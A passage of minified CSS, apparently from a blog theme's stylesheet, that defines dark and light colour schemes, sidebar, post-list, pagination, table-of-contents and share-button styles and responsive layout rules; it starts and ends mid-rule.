243);--tag-bg: rgb(41, 40, 40);--tag-hover: rgb(43, 56, 62);--tb-odd-bg: rgba(42, 47, 53, 0.52);--tb-even-bg: rgb(31, 31, 34);--tb-border-color: var(--tb-odd-bg);--footnote-target-bg: rgb(63, 81, 181);--btn-share-color: #6c757d;--btn-share-hover-color: #bfc1ca;--relate-post-date: var(--text-muted-color);--card-bg: #1e1e1e;--card-hovor-bg: #464d51;--card-shadow: rgb(21, 21, 21, 0.72) 0 6px 18px 0, rgb(137, 135, 135, 0.24) 0 0 0 1px;--kbd-wrap-color: #6a6a6a;--kbd-text-color: #d3d3d3;--kbd-bg-color: #242424;--prompt-text-color: rgb(216, 212, 212, 0.75);--prompt-tip-bg: rgb(22, 60, 36, 0.64);--prompt-tip-icon-color: rgb(15, 164, 15, 0.81);--prompt-info-bg: rgb(7, 59, 104, 0.8);--prompt-info-icon-color: #0075d1;--prompt-warning-bg: rgb(90, 69, 3, 0.88);--prompt-warning-icon-color: rgb(255, 165, 0, 0.8);--prompt-danger-bg: rgb(86, 28, 8, 0.8);--prompt-danger-icon-color: #cd0202;--tag-border: rgb(59, 79, 88);--tag-shadow: rgb(32, 33, 33);--search-tag-bg: var(--tag-bg);--dash-color: rgb(63, 65, 68);--categories-border: rgb(64, 66, 69, 0.5);--categories-hover-bg: rgb(73, 75, 76);--categories-icon-hover-color: white;--timeline-node-bg: rgb(150, 152, 156);--timeline-color: rgb(63, 65, 68);--timeline-year-dot-color: var(--timeline-color);color-scheme:dark}html:not([data-mode]) .light,html[data-mode=dark] .light{display:none}html:not([data-mode]) hr,html[data-mode=dark] hr{border-color:var(--main-border-color)}html:not([data-mode]) .categories.card,html:not([data-mode]) .list-group-item,html[data-mode=dark] .categories.card,html[data-mode=dark] .list-group-item{background-color:var(--card-bg)}html:not([data-mode]) .categories .card-header,html[data-mode=dark] .categories .card-header{background-color:var(--card-header-bg)}html:not([data-mode]) .categories .list-group-item,html[data-mode=dark] .categories .list-group-item{border-left:none;border-right:none;padding-left:2rem;border-color:var(--categories-border)}html:not([data-mode]) .categories .list-group-item:last-child,html[data-mode=dark] .categories .list-group-item:last-child{border-bottom-color:var(--card-bg)}html:not([data-mode]) #archives li:nth-child(odd),html[data-mode=dark] #archives li:nth-child(odd){background-image:linear-gradient(to left, rgb(26, 26, 30), rgb(39, 39, 45), rgb(39, 39, 45), rgb(39, 39, 45), rgb(26, 26, 30))}html:not([data-mode]) #disqus_thread,html[data-mode=dark] #disqus_thread{color-scheme:none}html[data-mode=light]{--main-bg: white;--mask-bg: #c1c3c5;--main-border-color: #f3f3f3;--text-color: #34343c;--text-muted-color: #8e8e8e;--heading-color: black;--blockquote-border-color: #eeeeee;--blockquote-text-color: #9a9a9a;--link-color: #0153ab;--link-underline-color: #dee2e6;--button-bg: #ffffff;--btn-border-color: #e9ecef;--btn-backtotop-color: #686868;--btn-backtotop-border-color: #f1f1f1;--btn-box-shadow: #eaeaea;--checkbox-color: #c5c5c5;--checkbox-checked-color: #07a8f7;--img-bg: radial-gradient( circle, rgb(255, 255, 255) 0%, rgb(239, 239, 239) 100% );--shimmer-bg: linear-gradient( 90deg, rgba(250, 250, 250, 0) 0%, rgba(232, 230, 230, 1) 50%, rgba(250, 250, 250, 0) 100% );--sidebar-bg: #f6f8fa;--sidebar-muted-color: #a2a19f;--sidebar-active-color: #1d1d1d;--sidebar-hover-bg: rgb(223, 233, 241, 0.64);--sidebar-btn-bg: white;--sidebar-btn-color: #8e8e8e;--avatar-border-color: white;--topbar-bg: rgb(255, 255, 255, 0.7);--topbar-text-color: rgb(78, 78, 78);--search-wrapper-border-color: rgb(240, 240, 240);--search-tag-bg: #f8f9fa;--search-icon-color: #c2c6cc;--input-focus-border-color: #b8b8b8;--post-list-text-color: dimgray;--btn-patinator-text-color: #555555;--btn-paginator-hover-color: var(--sidebar-bg);--btn-paginator-border-color: var(--sidebar-bg);--btn-text-color: #676666;--toc-highlight: #563d7c;--btn-share-hover-color: var(--link-color);--card-bg: white;--card-hovor-bg: #e2e2e2;--card-shadow: rgb(104, 104, 104, 0.05) 0 2px 6px 0, rgba(211, 209, 209, 0.15) 0 0 0 1px;--label-color: #616161;--relate-post-date: rgba(30, 55, 70, 0.4);--footnote-target-bg: lightcyan;--tag-bg: rgba(0, 0, 0, 0.075);--tag-border: #dee2e6;--tag-shadow: var(--btn-border-color);--tag-hover: rgb(222, 226, 230);--tb-odd-bg: #fbfcfd;--tb-border-color: #eaeaea;--dash-color: silver;--kbd-wrap-color: #bdbdbd;--kbd-text-color: var(--text-color);--kbd-bg-color: white;--prompt-text-color: rgb(46, 46, 46, 0.77);--prompt-tip-bg: rgb(123, 247, 144, 0.2);--prompt-tip-icon-color: #03b303;--prompt-info-bg: #e1f5fe;--prompt-info-icon-color: #0070cb;--prompt-warning-bg: rgb(255, 243, 205);--prompt-warning-icon-color: #ef9c03;--prompt-danger-bg: rgb(248, 215, 218, 0.56);--prompt-danger-icon-color: #df3c30;--categories-border: rgba(0, 0, 0, 0.125);--categories-hover-bg: var(--btn-border-color);--categories-icon-hover-color: darkslategray;--timeline-color: rgba(0, 0, 0, 0.075);--timeline-node-bg: #c2c6cc;--timeline-year-dot-color: #ffffff}html[data-mode=light] [class^=prompt-]{--link-underline-color: rgb(219, 216, 216)}html[data-mode=light] .dark{display:none}}body{background:var(--main-bg);padding:env(safe-area-inset-top) env(safe-area-inset-right) env(safe-area-inset-bottom) env(safe-area-inset-left);color:var(--text-color);-webkit-font-smoothing:antialiased;font-family:"Source Sans Pro","Microsoft Yahei",sans-serif}h1{font-size:1.92rem}h2{font-size:1.54rem}h3{font-size:1.36rem}h4{font-size:1.18rem}h5{font-size:1rem}a{text-decoration:none}img{max-width:100%;height:auto;transition:all .35s ease-in-out}img[data-src][data-lqip=true].lazyload,img[data-src][data-lqip=true].lazyloading{-webkit-filter:blur(20px);filter:blur(20px)}img[data-src]:not([data-lqip=true]).lazyload,img[data-src]:not([data-lqip=true]).lazyloading{background:var(--img-bg)}img[data-src]:not([data-lqip=true]).lazyloaded{-webkit-animation:fade-in .35s ease-in;animation:fade-in .35s ease-in}img[data-src].shadow{-webkit-filter:drop-shadow(2px 4px 6px rgba(0, 0, 0, 0.08));filter:drop-shadow(2px 4px 6px rgba(0, 0, 0, 0.08));box-shadow:none !important}@-webkit-keyframes fade-in{from{opacity:0}to{opacity:1}}@keyframes fade-in{from{opacity:0}to{opacity:1}}blockquote{border-left:5px solid var(--blockquote-border-color);padding-left:1rem;color:var(--blockquote-text-color)}blockquote[class^=prompt-]{border-left:0;position:relative;padding:1rem 1rem 1rem 3rem;color:var(--prompt-text-color)}blockquote[class^=prompt-]::before{text-align:center;width:3rem;position:absolute;left:.25rem;margin-top:.4rem;text-rendering:auto;-webkit-font-smoothing:antialiased}blockquote[class^=prompt-]>p:last-child{margin-bottom:0}blockquote.prompt-tip{background-color:var(--prompt-tip-bg)}blockquote.prompt-tip::before{content:"";color:var(--prompt-tip-icon-color);font:var(--fa-font-regular)}blockquote.prompt-info{background-color:var(--prompt-info-bg)}blockquote.prompt-info::before{content:"";color:var(--prompt-info-icon-color);font:var(--fa-font-solid)}blockquote.prompt-warning{background-color:var(--prompt-warning-bg)}blockquote.prompt-warning::before{content:"";color:var(--prompt-warning-icon-color);font:var(--fa-font-solid)}blockquote.prompt-danger{background-color:var(--prompt-danger-bg)}blockquote.prompt-danger::before{content:"";color:var(--prompt-danger-icon-color);font:var(--fa-font-solid)}kbd{font-family:inherit;display:inline-block;vertical-align:middle;line-height:1.3rem;min-width:1.75rem;text-align:center;margin:0 .3rem;padding-top:.1rem;color:var(--kbd-text-color);background-color:var(--kbd-bg-color);border-radius:.25rem;border:solid 1px var(--kbd-wrap-color);box-shadow:inset 0 -2px 0 var(--kbd-wrap-color)}footer{font-size:.8rem;background-color:var(--main-bg)}footer div.d-flex{height:5rem;line-height:1.2rem;padding-bottom:1rem;border-top:1px solid var(--main-border-color);flex-wrap:wrap}footer p{width:100%;text-align:center;margin-bottom:0}.access{top:2rem;transition:top .2s ease-in-out;margin-top:3rem;margin-bottom:4rem}.access:only-child{position:-webkit-sticky;position:sticky}.access>div{padding-left:1rem;border-left:1px solid var(--main-border-color)}.access>div:not(:last-child){margin-bottom:4rem}.access .post-content{font-size:.9rem}#panel-wrapper .panel-heading{color:var(--label-color);font-size:inherit;font-weight:600}#panel-wrapper .post-tag{line-height:1.05rem;font-size:.85rem;border:1px solid var(--btn-border-color);border-radius:.8rem;padding:.3rem .5rem;margin:0 .35rem .5rem 0}#panel-wrapper .post-tag:hover{transition:all .3s ease-in}#access-lastmod a{color:inherit}.footnotes>ol{padding-left:2rem;margin-top:.5rem}.footnotes>ol>li:not(:last-child){margin-bottom:.3rem}.footnotes>ol>li>p{margin-left:.25em;margin-top:0;margin-bottom:0}a.footnote{margin-left:1px;margin-right:1px;padding-left:2px;padding-right:2px;border-bottom-style:none !important;transition:background-color 1.5s ease-in-out}a.reversefootnote{font-size:.6rem;line-height:1;position:relative;bottom:.25em;margin-left:.25em;border-bottom-style:none !important}.table-wrapper{overflow-x:auto;margin-bottom:1.5rem}.table-wrapper>table{min-width:100%;overflow-x:auto;border-spacing:0}.table-wrapper>table thead{border-bottom:solid 2px rgba(210,215,217,.75)}.table-wrapper>table tbody tr{border-bottom:1px solid var(--tb-border-color)}.table-wrapper>table tbody tr:nth-child(2n){background-color:var(--tb-even-bg)}.table-wrapper>table tbody tr:nth-child(2n+1){background-color:var(--tb-odd-bg)}.post-preview{border:0;background:var(--card-bg);box-shadow:var(--card-shadow)}.post-preview::before{content:"";width:100%;height:100%;position:absolute;background-color:var(--card-hovor-bg);opacity:0;transition:opacity .35s ease-in-out}.post-preview:hover::before{opacity:.3}.post h1{margin-top:2rem;margin-bottom:1.5rem}.post p>img[data-src]:not(.normal):not(.left):not(.right),.post p>a.popup:not(.normal):not(.left):not(.right){position:relative;left:50%;transform:translateX(-50%)}.post-meta{font-size:.85rem}.post-content{font-size:1.08rem;margin-top:2rem;overflow-wrap:break-word}.post-content a.popup{margin-top:.5rem;margin-bottom:.5rem;cursor:zoom-in}.post-content ol:not([class]),.post-content ol.task-list,.post-content ul:not([class]),.post-content ul.task-list{-webkit-padding-start:1.75rem;padding-inline-start:1.75rem}.post-content ol:not([class]) li,.post-content ol.task-list li,.post-content ul:not([class]) li,.post-content ul.task-list li{margin:.25rem 0;padding-left:.25rem}.post-content ol:not([class]) ol,.post-content ol:not([class]) ul,.post-content ol.task-list ol,.post-content ol.task-list ul,.post-content ul:not([class]) ol,.post-content ul:not([class]) ul,.post-content ul.task-list ol,.post-content ul.task-list ul{-webkit-padding-start:1.25rem;padding-inline-start:1.25rem;margin:.5rem 0}.post-content ul.task-list{-webkit-padding-start:1.25rem;padding-inline-start:1.25rem}.post-content ul.task-list li{list-style-type:none;padding-left:0}.post-content ul.task-list li>i{width:2rem;margin-left:-1.25rem;color:var(--checkbox-color)}.post-content ul.task-list li>i.checked{color:var(--checkbox-checked-color)}.post-content ul.task-list li ul{-webkit-padding-start:1.75rem;padding-inline-start:1.75rem}.post-content ul.task-list input[type=checkbox]{margin:0 .5rem .2rem -1.3rem;vertical-align:middle}.post-content dl>dd{margin-left:1rem}.post-content ::marker{color:var(--text-muted-color)}.post-tag{display:inline-block;min-width:2rem;text-align:center;border-radius:.3rem;padding:0 .4rem;color:inherit;line-height:1.3rem}.post-tag:not(:last-child){margin-right:.2rem}.rounded-10{border-radius:10px !important}.img-link{color:rgba(0,0,0,0);display:inline-flex}.shimmer{overflow:hidden;position:relative;background:var(--img-bg)}.shimmer::before{content:"";position:absolute;background:var(--shimmer-bg);height:100%;width:100%;-webkit-animation:shimmer 1s infinite;animation:shimmer 1s infinite}@-webkit-keyframes shimmer{0%{transform:translateX(-100%)}100%{transform:translateX(100%)}}@keyframes shimmer{0%{transform:translateX(-100%)}100%{transform:translateX(100%)}}.embed-video{width:100%;height:100%;margin-bottom:1rem}.embed-video.youtube{aspect-ratio:16/9}.embed-video.twitch{aspect-ratio:310/189}.btn-lang{border:1px solid !important;padding:1px 3px;border-radius:3px;color:var(--link-color)}.btn-lang:focus{box-shadow:none}.loaded{display:block !important}.d-flex.loaded{display:flex !important}.unloaded{display:none !important}.visible{visibility:visible !important}.hidden{visibility:hidden !important}.flex-grow-1{flex-grow:1 !important}.btn-box-shadow{box-shadow:0 0 8px 0 var(--btn-box-shadow) !important}.text-muted{color:var(--text-muted-color) !important}.tooltip-inner{font-size:.7rem;max-width:220px;text-align:left}.btn.btn-outline-primary:not(.disabled):hover{border-color:#007bff !important}.disabled{color:#cec4c4;pointer-events:auto;cursor:not-allowed}.hide-border-bottom{border-bottom:none !important}.input-focus{box-shadow:none;border-color:var(--input-focus-border-color) !important;background:center !important;transition:background-color .15s ease-in-out,border-color .15s ease-in-out}.left{float:left;margin:.75rem 1rem 1rem 0 !important}.right{float:right;margin:.75rem 0 1rem 1rem !important}figure .mfp-title{text-align:center;padding-right:0;margin-top:.5rem}.mfp-img{transition:none}.mermaid{text-align:center}mjx-container{overflow-y:hidden;min-width:auto !important}#sidebar{padding-left:0;padding-right:0;position:fixed;top:0;left:0;height:100%;overflow-y:auto;width:260px;z-index:99;background:var(--sidebar-bg);-ms-overflow-style:none;scrollbar-width:none}#sidebar::-webkit-scrollbar{display:none}#sidebar .sidebar-bottom .mode-toggle:hover,#sidebar .sidebar-bottom a:hover,#sidebar .site-title a:hover{color:var(--sidebar-active-color)}#sidebar #avatar{display:block;width:7rem;height:7rem;overflow:hidden;box-shadow:var(--avatar-border-color) 0 0 0 2px;transform:translateZ(0)}#sidebar #avatar img{transition:transform .5s}#sidebar #avatar img:hover{transform:scale(1.2)}#sidebar .profile-wrapper{margin-top:2.5rem;margin-bottom:2.5rem;padding-left:2.5rem;padding-right:1.25rem;width:100%}#sidebar .site-title{font-weight:900;font-size:1.75rem;line-height:1.2;letter-spacing:.25px;color:rgba(134,133,133,.99);margin-top:1.25rem;margin-bottom:.5rem}#sidebar .site-subtitle{font-size:95%;color:var(--sidebar-muted-color);margin-top:.25rem;word-spacing:1px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}#sidebar ul{margin-bottom:2rem}#sidebar ul li.nav-item{opacity:.9;width:100%;padding-left:1.5rem;padding-right:1.5rem}#sidebar ul li.nav-item a.nav-link{padding-top:.6rem;padding-bottom:.6rem;display:flex;align-items:center;border-radius:.75rem;font-weight:600}#sidebar ul li.nav-item a.nav-link:hover{background-color:var(--sidebar-hover-bg)}#sidebar ul li.nav-item a.nav-link i{font-size:95%;opacity:.8;margin-right:1.5rem}#sidebar ul li.nav-item a.nav-link span{font-size:90%;letter-spacing:.2px}#sidebar ul li.nav-item.active .nav-link{color:var(--sidebar-active-color);background-color:var(--sidebar-hover-bg)}#sidebar ul li.nav-item.active .nav-link span{opacity:1}#sidebar ul li.nav-item:not(:first-child){margin-top:.25rem}#sidebar .sidebar-bottom{padding-left:2rem;padding-right:2rem;margin-bottom:1.5rem}#sidebar .sidebar-bottom .mode-toggle,#sidebar .sidebar-bottom a{width:1.75rem;height:1.75rem;margin-bottom:.5rem;border-radius:50%;color:var(--sidebar-btn-color);background-color:var(--sidebar-btn-bg);text-align:center;display:flex;align-items:center;justify-content:center}#sidebar .sidebar-bottom .mode-toggle:hover,#sidebar .sidebar-bottom a:hover{background-color:var(--sidebar-hover-bg)}#sidebar .sidebar-bottom a:not(:last-child){margin-right:.8rem}#sidebar .sidebar-bottom i{line-height:1.75rem}#sidebar .sidebar-bottom .mode-toggle{padding:0;border:0}#sidebar .sidebar-bottom .icon-border{margin-left:calc((.8rem - 3px)/2);margin-right:calc((.8rem - 3px)/2);background-color:var(--sidebar-muted-color);content:"";width:3px;height:3px;border-radius:50%;margin-bottom:.5rem}@media(hover: hover){#sidebar ul>li:last-child::after{transition:top .5s ease}.nav-link{transition:background-color .3s ease-in-out}.post-preview{transition:background-color .35s ease-in-out}}#search-result-wrapper{display:none;height:100%;width:100%;overflow:auto}#search-result-wrapper .post-content{margin-top:2rem}#topbar-wrapper{height:3rem;background-color:var(--topbar-bg)}#topbar i{color:#999}#topbar #breadcrumb{font-size:1rem;color:gray;padding-left:.5rem}#topbar #breadcrumb span:not(:last-child)::after{content:"›";padding:0 .3rem}#sidebar-trigger,#search-trigger{display:none}#search-wrapper{display:flex;width:100%;border-radius:1rem;border:1px solid var(--search-wrapper-border-color);background:var(--main-bg);padding:0 .5rem}#search-wrapper i{z-index:2;font-size:.9rem;color:var(--search-icon-color)}#search-cancel{color:var(--link-color);margin-left:.75rem;display:none;white-space:nowrap}#search-input{background:center;border:0;border-radius:0;padding:.18rem .3rem;color:var(--text-color);height:auto}#search-input:focus{box-shadow:none}#search-input:focus.form-control::-moz-placeholder{opacity:.6}#search-input:focus.form-control::-webkit-input-placeholder{opacity:.6}#search-input:focus.form-control:-ms-input-placeholder{opacity:.6}#search-input:focus.form-control::-ms-input-placeholder{opacity:.6}#search-input:focus.form-control::placeholder{opacity:.6}#search-hints{padding:0 1rem}#search-hints h4{margin-bottom:1.5rem}#search-hints .post-tag{display:inline-block;line-height:1rem;font-size:1rem;background:var(--search-tag-bg);border:none;padding:.5rem;margin:0 1.25rem 1rem 0}#search-hints .post-tag::before{content:"#";color:var(--text-muted-color);padding-right:.2rem}#search-results{padding-bottom:3rem}#search-results a{font-size:1.4rem;line-height:2.5rem}#search-results>div{width:100%}#search-results>div:not(:last-child){margin-bottom:1rem}#search-results>div i{color:#818182;margin-right:.15rem;font-size:80%}#search-results>div>p{overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-line-clamp:3;-webkit-box-orient:vertical}#topbar-title{display:none;font-size:1.1rem;font-weight:600;font-family:sans-serif;color:var(--topbar-text-color);text-align:center;width:70%;overflow:hidden;text-overflow:ellipsis;word-break:keep-all;white-space:nowrap}#core-wrapper{line-height:1.75}#mask{display:none;position:fixed;inset:0 0 0 0;height:100%;width:100%;z-index:1}[sidebar-display] #mask{display:block !important}#main-wrapper{background-color:var(--main-bg);position:relative;min-height:calc(100vh - 6rem);padding-left:0;padding-right:0}#topbar-wrapper.row,#main>.row,#search-result-wrapper>.row{margin-left:0;margin-right:0}#back-to-top{display:none;z-index:1;cursor:pointer;position:fixed;right:1rem;bottom:2rem;background:var(--button-bg);color:var(--btn-backtotop-color);padding:0;width:3rem;height:3rem;border-radius:50%;border:1px solid var(--btn-backtotop-border-color);transition:transform .2s ease-out;-webkit-transition:transform .2s ease-out}#back-to-top:hover{transform:translate3d(0, -5px, 0);-webkit-transform:translate3d(0, -5px, 0)}#back-to-top i{line-height:3rem;position:relative;bottom:2px}@-webkit-keyframes popup{from{opacity:0;bottom:0}}@keyframes popup{from{opacity:0;bottom:0}}#notification .toast-header{background:none;border-bottom:none;color:inherit}#notification .toast-body{font-family:Lato,sans-serif;line-height:1.25rem}#notification .toast-body button{font-size:90%;min-width:4rem}#notification.toast.show{display:block;min-width:20rem;border-radius:.5rem;-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);background-color:rgba(255,255,255,.5);color:rgba(27,27,30,.7294117647);position:fixed;left:50%;bottom:20%;transform:translateX(-50%);-webkit-animation:popup .8s;animation:popup .8s}@media all and (max-width: 576px){#main-wrapper{min-height:calc(100vh - 6rem)}#core-wrapper .post-content>blockquote[class^=prompt-]{margin-left:-1.25rem;margin-right:-1.25rem;border-radius:0;max-width:none}#avatar{width:5rem;height:5rem}}@media all and (max-width: 768px){#main,#topbar{max-width:100%}#main{padding-left:0;padding-right:0}}@media all and (max-width: 849px){html,body{overflow-x:hidden}footer{transition:transform .4s ease;height:6rem}footer div.d-flex{padding:1.5rem 0;line-height:1.65;flex-wrap:wrap}[sidebar-display] #sidebar{transform:translateX(0)}[sidebar-display] #main-wrapper,[sidebar-display] footer{transform:translateX(260px)}[sidebar-display] #back-to-top{visibility:hidden}#sidebar{transition:transform .4s ease;transform:translateX(-260px);-webkit-transform:translateX(-260px)}#main-wrapper{transition:transform .4s ease}#topbar,#main,footer>.container{max-width:100%}#search-result-wrapper{width:100%}#breadcrumb,#search-wrapper{display:none}#topbar-wrapper{transition:transform .4s ease,top .2s ease;left:0}#core-wrapper,#panel-wrapper{margin-top:0}#topbar-title,#sidebar-trigger,#search-trigger{display:block}#search-result-wrapper .post-content{letter-spacing:0}#tags{justify-content:center !important}h1.dynamic-title{display:none}h1.dynamic-title~.post-content{margin-top:2.5rem}}@media all and (min-width: 577px)and (max-width: 1199px){footer .d-flex>div{width:312px}}@media all and (min-width: 850px){html{overflow-y:scroll}#main-wrapper,footer{margin-left:260px}#main-wrapper{min-height:calc(100vh - 5rem)}footer p{width:auto}footer p:last-child::before{content:"-";margin:0 .75rem;opacity:.8}#sidebar .profile-wrapper{margin-top:3rem}#search-hints{display:none}#search-wrapper{max-width:210px}#search-result-wrapper{max-width:1250px;justify-content:start !important}.post h1{margin-top:3rem}div.post-content .table-wrapper>table{min-width:70%}#back-to-top{bottom:5.5rem;right:5%}#topbar-title{text-align:left}}@media all and (min-width: 992px)and (max-width: 1199px){#main .col-lg-11{flex:0 0 96%;max-width:96%}}@media all and (min-width: 850px)and (max-width: 1199px){#search-results>div{max-width:700px}#breadcrumb{width:65%;overflow:hidden;text-overflow:ellipsis;word-break:keep-all;white-space:nowrap}}@media all and (max-width: 1199px){#panel-wrapper{display:none}#main>div.row{justify-content:center !important}}@media all and (min-width: 1200px){#back-to-top{bottom:6.5rem}#search-wrapper{margin-right:4rem}#search-input{transition:all .3s ease-in-out}#search-results>div{width:46%}#search-results>div:nth-child(odd){margin-right:1.5rem}#search-results>div:nth-child(even){margin-left:1.5rem}#search-results>div:last-child:nth-child(odd){position:relative;right:24.3%}.post-content{font-size:1.03rem}footer div.d-felx{width:85%}}@media all and (min-width: 1400px){#back-to-top{right:calc((100vw - 260px - 1140px)/2 + 3rem)}}@media all and (min-width: 1650px){#main-wrapper,footer{margin-left:300px}#topbar-wrapper{left:300px}#search-wrapper{margin-right:calc( + 1250px * 0.25 - 210px - 0.75rem + )}#main,footer>.container{max-width:1250px;padding-left:1.75rem !important;padding-right:1.75rem !important}#core-wrapper,#tail-wrapper{padding-right:4.5rem !important}#back-to-top{right:calc((100vw - 300px - 1250px)/2 + 2rem)}#sidebar{width:300px}#sidebar .profile-wrapper{margin-top:3.5rem;margin-bottom:2.5rem;padding-left:3.5rem}#sidebar ul li.nav-item{padding-left:2.75rem;padding-right:2.75rem}#sidebar .sidebar-bottom{padding-left:2.75rem;margin-bottom:1.75rem}#sidebar .sidebar-bottom a:not(:last-child){margin-right:1rem}#sidebar .sidebar-bottom .icon-border{margin-left:calc((1rem - 3px)/2);margin-right:calc((1rem - 3px)/2)}}#post-list{margin-top:2rem}#post-list a.card-wrapper{display:block}#post-list a.card-wrapper:hover{text-decoration:none}#post-list a.card-wrapper:not(:last-child){margin-bottom:1.25rem}#post-list .card .preview-img img,#post-list .card .preview-img{border-radius:.5rem .5rem 0 0}#post-list .card .preview-img{height:10rem}#post-list .card .preview-img img{width:100%;height:100%;-o-object-fit:cover;object-fit:cover}#post-list .card .card-body{min-height:10.5rem;padding:1rem}#post-list .card .card-body .card-title{font-size:1.25rem}#post-list .card .card-body .post-meta,#post-list .card .card-body .card-text.post-content{color:var(--text-muted-color) !important}#post-list .card .card-body .card-text.post-content p{line-height:1.5;margin:0}#post-list .card .card-body .post-meta i:not(:first-child){margin-left:1.5rem}#post-list .card .card-body .post-meta em{color:inherit}#post-list .card .card-body .post-meta>div:first-child{display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.pagination{color:var(--btn-patinator-text-color);font-family:Lato,sans-serif}.pagination a:hover{text-decoration:none}.pagination .page-item .page-link{color:inherit;width:2.5rem;height:2.5rem;padding:0;display:-webkit-box;-webkit-box-pack:center;-webkit-box-align:center;border-radius:50%;border:1px solid var(--btn-paginator-border-color);background-color:var(--button-bg)}.pagination .page-item .page-link:hover{background-color:var(--btn-paginator-hover-color)}.pagination .page-item.active .page-link{background-color:var(--btn-paginator-hover-color);color:var(--btn-text-color)}.pagination .page-item.disabled{cursor:not-allowed}.pagination .page-item.disabled .page-link{color:rgba(108,117,125,.57);border-color:var(--btn-paginator-border-color);background-color:var(--button-bg)}.pagination .page-item:first-child .page-link,.pagination .page-item:last-child .page-link{border-radius:50%}@media all and (min-width: 768px){#post-list .card .preview-img,#post-list .card .preview-img img{border-radius:0 .5rem .5rem 0}#post-list .card .preview-img{width:20rem;height:11.55rem}#post-list .card .card-body{min-height:10.75rem;width:60%;padding:1.75rem 1.75rem 1.25rem 1.75rem}#post-list .card .card-body .card-text{display:inherit !important}#post-list .card .card-body .post-meta i:not(:first-child){margin-left:1.75rem}}@media all and (max-width: 830px){.pagination{justify-content:space-evenly}.pagination .page-item:not(:first-child):not(:last-child){display:none}}@media all and (min-width: 831px){#post-list{margin-top:2.5rem}.pagination{font-size:.85rem}.pagination .page-item:not(:last-child){margin-right:.7rem}.pagination .page-item .page-link{width:2rem;height:2rem}.pagination .page-index{display:none}}@media all and (min-width: 1200px){#post-list{padding-right:.5rem}}.post-navigation .btn.disabled,.post-navigation .btn{width:50%;position:relative;border-color:var(--btn-border-color)}#related-posts .card h4,h1+.post-meta em a,h1+.post-meta em,footer a{color:var(--text-color)}.preview-img{overflow:hidden;aspect-ratio:40/21}.preview-img:not(.no-bg) img.lazyloaded{background:var(--img-bg)}.preview-img img{-o-object-fit:cover;object-fit:cover}h1+.post-meta span+span::before{content:"•";padding-left:.25rem;padding-right:.25rem}.post-tail-wrapper{margin-top:6rem;border-bottom:1px double var(--main-border-color);font-size:.85rem}.post-tail-wrapper .post-tail-bottom a{color:inherit}.post-tail-wrapper .license-wrapper{line-height:1.2rem}.post-tail-wrapper .license-wrapper>a{color:var(--text-color)}.post-tail-wrapper .license-wrapper span:last-child{font-size:.85rem}.post-tail-wrapper .share-wrapper{vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.post-tail-wrapper .share-wrapper .share-icons{font-size:1.2rem}.post-tail-wrapper .share-wrapper .share-icons>i{position:relative;bottom:1px}.post-tail-wrapper .share-wrapper .share-icons a:not(:last-child){margin-right:.25rem}.post-tail-wrapper .share-wrapper .share-icons a:hover{text-decoration:none}.post-tail-wrapper .share-wrapper .share-icons .fab.fa-twitter{color:var(--btn-share-color, rgb(29, 161, 242))}.post-tail-wrapper .share-wrapper .share-icons .fab.fa-facebook-square{color:var(--btn-share-color, rgb(66, 95, 156))}.post-tail-wrapper .share-wrapper .share-icons .fab.fa-telegram{color:var(--btn-share-color, rgb(39, 159, 217))}.post-tail-wrapper .share-wrapper .share-icons .fab.fa-linkedin{color:var(--btn-share-color, rgb(0, 119, 181))}.post-tail-wrapper .share-wrapper .share-icons .fab.fa-weibo{color:var(--btn-share-color, rgb(229, 20, 43))}.post-tail-wrapper .share-wrapper .fas.fa-link{color:var(--btn-share-color, rgb(171, 171, 171))}.post-tags{line-height:2rem}.post-tags .post-tag{background:var(--tag-bg)}.post-navigation{padding-top:3rem;padding-bottom:4rem}.post-navigation .btn:not(:hover){color:var(--link-color)}.post-navigation .btn:hover:not(.disabled)::before{color:#f5f5f5}.post-navigation .btn.disabled{pointer-events:auto;cursor:not-allowed;background:none;color:gray}.post-navigation .btn.btn-outline-primary.disabled:focus{box-shadow:none}.post-navigation .btn::before{color:var(--text-muted-color);font-size:.65rem;text-transform:uppercase;content:attr(prompt)}.post-navigation .btn:first-child{border-radius:.5rem 0 0 .5rem;left:.5px}.post-navigation .btn:last-child{border-radius:0 .5rem .5rem 0;right:.5px}.post-navigation p{font-size:1.1rem;line-height:1.5rem;margin-top:.3rem;white-space:normal}@media(hover: hover){.post-navigation .btn,.post-navigation .btn::before{transition:all .35s ease-in-out}}@-webkit-keyframes fade-up{from{opacity:0;position:relative;top:2rem}to{opacity:1;position:relative;top:0}}@keyframes fade-up{from{opacity:0;position:relative;top:2rem}to{opacity:1;position:relative;top:0}}#toc-wrapper{border-left:1px solid rgba(158,158,158,.17);position:-webkit-sticky;position:sticky;top:4rem;transition:top .2s ease-in-out;-webkit-animation:fade-up .8s;animation:fade-up .8s}#toc-wrapper ul{list-style:none;font-size:.85rem;line-height:1.25;padding-left:0}#toc-wrapper ul li:not(:last-child){margin:.4rem 0}#toc-wrapper ul li a{padding:.2rem 0 .2rem 1.25rem}#toc-wrapper ul .toc-link{display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}#toc-wrapper ul .toc-link:hover{color:var(--toc-highlight);text-decoration:none}#toc-wrapper ul .toc-link::before{display:none}#toc-wrapper ul .is-active-link{color:var(--toc-highlight) !important;font-weight:600}#toc-wrapper ul .is-active-link::before{display:inline-block;width:1px;left:-1px;height:1.25rem;background-color:var(--toc-highlight) !important}#toc-wrapper ul ul a{padding-left:2rem}#related-posts>h3{color:var(--label-color);font-size:1.1rem;font-weight:600}#related-posts em{color:var(--relate-post-date)}#related-posts p{font-size:.9rem;margin-bottom:.5rem;overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}#tail-wrapper{min-height:2rem}#tail-wrapper>div:last-of-type{margin-bottom:2rem}#tail-wrapper #disqus_thread{min-height:8.5rem}.post-tail-wrapper .share-wrapper .share-icons>i:hover,.post-tail-wrapper .share-wrapper .share-icons a:hover>i{color:var(--btn-share-hover-color) !important}.share-label{color:inherit;font-size:inherit;font-weight:400}.share-label::after{content:":"}@media all and (max-width: 576px){.preview-img[data-src]{margin-top:2.2rem}.post-tail-bottom{flex-wrap:wrap-reverse !important}.post-tail-bottom>div:first-child{width:100%;margin-top:1rem}}@media all and (max-width: 